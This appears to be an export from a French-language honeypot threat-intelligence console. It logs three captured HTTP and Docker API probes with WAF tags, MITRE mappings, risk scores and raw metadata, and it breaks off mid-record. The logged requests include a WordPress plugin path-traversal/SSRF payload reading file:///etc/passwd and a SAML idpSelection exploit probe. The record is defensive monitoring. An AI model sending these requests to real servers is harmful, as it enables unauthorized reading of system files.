Preuve / Evidence Méthode GET Port 7001 Chemin / cible /etc/passwd Service HTTP Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Élevé · 81 Confiance : Confiance 100 % — Motif catalogue confirmé · 10 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1083 pat-0716 CRS-930100-sub Technique MITRE T1083 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 930130 LFI CRS 934110 file scheme CRS 930160 etc passwd SSRF file:// SSRF LFI file:// wrapper LFI Double-dot bypass Ligne de requête `GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1` User-Agent Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15 Règles WAF lfi-1 lfi-7 rce-0 ssrf-3 nosqli-3 redir-1 sap-sapcontrol-path ssrf-linklocal Payload (extrait) GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux Requête brute (extrait) GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.15 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 3, "http_path_depth": 0, "http_path_ext": null, "http_ua_hash": "96a10aee07b199089c36610033bbb61c197973aa", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "83cc57cc4587978fc830cf0538dda67e51858588", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 229, "payload_entropy": 5.403236086395281, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 30, "risk_boost": 15, "risk_granularity": 7.2, "risk_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 30 }, "risk_score": 81, "tag_count": 13, "anomaly_count": 1, "campaign_key": "f94ae5a2ca6180e74f4aba991d9fd9399f2a77ac", "event_fingerprint": "763af33129646e4d338d8b6691381e8908351150", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 280, "precision_signals": [ "MITRE-T1083", "pat-0716", "CRS-930100-sub" ], "kb_rule_ids": [ "MITRE-T1083", "pat-0716", "CRS-930100-sub" ], "matched_patterns": [ "pat-0507", "pat-0591", "pat-0716", "pat-0312", "pat-0098", "pat-0103" ], "matched_pattern_names": [ "CRS 930130 LFI", "CRS 934110 file scheme", "CRS 930160 etc passwd", "SSRF file:\/\/ SSRF", "LFI file:\/\/ wrapper", "LFI Double-dot bypass" ], "pattern_ids": [ "pat-0507", "pat-0591", "pat-0716", "pat-0312", "pat-0098", "pat-0103" ], "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 30, "risk_score": 81, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "http", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "2fb1e423108dde221d8e55b5aee3fb52", "payload_hash": "370316b0891afd6efba4b4881a705fc7", "path_pattern_hash": "8a5edab282632443219e051e4ade2d1d" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 81 }, "method": "GET", "path": "\/etc\/passwd", "query_string": "p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd", "user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko\/ Firefox\/3.6.15", "waf_tags": [ "950265:lfi-1", "950289:lfi-7", "950325:rce-0", "950326:rce-0", "950405:ssrf-3", "950469:nosqli-3", "950470:nosqli-3", "950487:redir-1", "950734:sap-sapcontrol-path", "951001:ssrf-linklocal" ], "waf_rule_names": [ "lfi-1", "lfi-7", "rce-0", "ssrf-3", "nosqli-3", "redir-1", "sap-sapcontrol-path", "ssrf-linklocal" ], "request_line": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1", "payload_snippet": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux", "evidence": { "method": "GET", "path": "\/etc\/passwd", "query_string": "p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd", "user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko\/ Firefox\/3.6.15", "waf_tags": [ "950265:lfi-1", "950289:lfi-7", "950325:rce-0", "950326:rce-0", "950405:ssrf-3", "950469:nosqli-3", "950470:nosqli-3", "950487:redir-1", "950734:sap-sapcontrol-path", "951001:ssrf-linklocal" ], "waf_rule_names": [ "lfi-1", "lfi-7", "rce-0", "ssrf-3", "nosqli-3", "redir-1", "sap-sapcontrol-path", "ssrf-linklocal" ], "request_line": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1", "request_sample": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko\/ Firefox\/3.6.15\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1083" ], "mitre": "T1083", "threat_family": [ "path_traversal", "ssrf_probe" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "8af7f398dae285b8c647049e49cc2605131d0d83", "protocol_details": { "http_method": "GET", "http_path": "\/etc\/passwd", "request_line": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko\/ Firefox\/3.6.15", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux", "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 10 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 81\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 30, "risk_score": 81, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 81, "risk_label": "\u00c9lev\u00e9", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1083", "pat-0716", "CRS-930100-sub" ], "tags_summary_labels_fr": [ "MITRE-T1083", "pat-0716", "CRS-930100-sub" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1083", "mitre_technique": "T1083", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/etc\/passwd", "request_line": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko\/ Firefox\/3.6.15", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd", "evidence_snippet": "GET \/?p=3232&wp_automatic=download&link=file:\/\/\/etc\/passwd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (X11; Linux", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 10 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 10 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "ban_policy": "advisory_investigate", "tags_list": [ "950265:lfi-1", "950289:lfi-7", "950325:rce-0", "950326:rce-0", "950405:ssrf-3", "950469:nosqli-3", "950470:nosqli-3", "950487:redir-1", "950734:sap-sapcontrol-path", "951001:ssrf-linklocal", "anomaly:high-entropy-query", "http_ssrf_query", "net_web_probe" ] }
30/07/2026 21:48:36 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /albatross/saml/idpSelection	Élevée	Moyen · 64
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1190 TA0001 TA0002 Protocole GET /albatross/saml/idpSelection UA Mozilla/5.0 (Windows NT 6.2; rv:140.0.) Gecko/20100101 Firefox/… Émulateur HTTP WAF 35 Recommandation Investiguer Tags 950325:rce-0 950326:rce-0 950381:rce-14 950468:nosqli-3 Cible HTTP GET /albatross/saml/idpSelection TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /albatross/saml/idpSelection Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 100% Confiance classification 100% Corrélation +8 Risque capteur Moyen · 64 Confiance : Confiance 100 % — 5 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE T1190 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /albatross/saml/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 6.2; rv:140.0.) Gecko/20100101 Firefox/140.0. Règles WAF rce-0 rce-14 nosqli-3 Payload (extrait) GET /albatross/saml/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozi Requête brute (extrait) GET /albatross/saml/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.0.) Gecko/20100101 Firefox/140.0. Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 2, "http_path_depth": 3, "http_path_ext": null, "http_ua_hash": "3ee89520882be8a5194bd5f1da7eec20034ed6ab", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "5e0b4f66fe349013465f2f3a351049dc2f37b5b7", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 254, "payload_entropy": 5.4976557327391475, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 30, "risk_boost": 0, "risk_granularity": 7.2, "risk_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 30 }, "risk_score": 64, "tag_count": 9, "anomaly_count": 1, "campaign_key": "3390280131732e50fb536429cb68a421bcd1bdce", "event_fingerprint": "28f11cb9978860c5d5fb3f7fb1281c6b6a5ad4b0", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 149, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 30, "risk_score": 64, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "b0af75afd0f05e39b0fd94f529ca2fb0", "payload_hash": "dca55f303b977f19ecb192ad329589da", "path_pattern_hash": "66ee543fd3f41c7631b50d0cd93b52bf" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 64 }, "payload_preview": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozi", "method": "GET", "path": "\/albatross\/saml\/idpSelection", "query_string": "id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin", "user_agent": "Mozilla\/5.0 (Windows NT 6.2; rv:140.0.) Gecko\/20100101 Firefox\/140.0.", "waf_tags": [ "950325:rce-0", "950326:rce-0", "950381:rce-14", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "rce-14", "nosqli-3" ], "request_line": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1", "request_sample": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.2; rv:140.0.) Gecko\/20100101 Firefox\/140.0.\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozi", "evidence": { "method": "GET", "path": "\/albatross\/saml\/idpSelection", "query_string": "id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin", "user_agent": "Mozilla\/5.0 (Windows NT 6.2; rv:140.0.) Gecko\/20100101 Firefox\/140.0.", "waf_tags": [ "950325:rce-0", "950326:rce-0", "950381:rce-14", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "rce-14", "nosqli-3" ], "request_line": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1", "request_sample": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.2; rv:140.0.) Gecko\/20100101 Firefox\/140.0.\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozi", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre_techniques": [ "T1190" ], "mitre": "T1190", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "fd4e172b64d35da36b85da7c89e1d512f6a75ef9", "protocol_details": { "http_method": "GET", "http_path": "\/albatross\/saml\/idpSelection", "request_line": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 6.2; rv:140.0.) Gecko\/20100101 Firefox\/140.0.", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozi", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/albatross\/saml\/idpSelection", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 5 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 100%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 100%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE T1190 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 100, "confidence_breakdown": { "waf": 100, "classification": 72, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 30, "risk_score": 64, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 64, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "T1190", "mitre_technique": "T1190", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/albatross\/saml\/idpSelection", "request_line": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 6.2; rv:140.0.) Gecko\/20100101 Firefox\/140.0.", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/albatross\/saml\/idpSelection", "evidence_snippet": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozi", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 5 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 5 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950325:rce-0", "950326:rce-0", "950381:rce-14", "950468:nosqli-3", "950470:nosqli-3", "anomaly:high-entropy-query", "http_saml_probe", "http_suspicious_params", "net_web_probe" ] }
30/07/2026 21:48:36 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /albatross/saml/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozi Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /albatross/saml/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozi Requête brute (extrait) GET /albatross/saml/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 Accept: / Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 304, "payload_entropy": 5.526432130971159, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "517aa66a7395b58bbb55f8a1e2ab9705", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozi", "request_sample": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/14.0.1 Safari\/605.1.15\r\nAccept: \/", "payload_snippet": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozi", "evidence": { "request_sample": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/14.0.1 Safari\/605.1.15\r\nAccept: \/", "payload_snippet": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozi", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "2568c9d6bc59bfd275d1d352fd683b2c126d61cf", "protocol_details": { "payload_preview": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozi", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/albatross\/saml\/idpSelection?id=3HEiMSl5ibweFt87VXZ2KssoVxw&userName=admin HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozi", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type 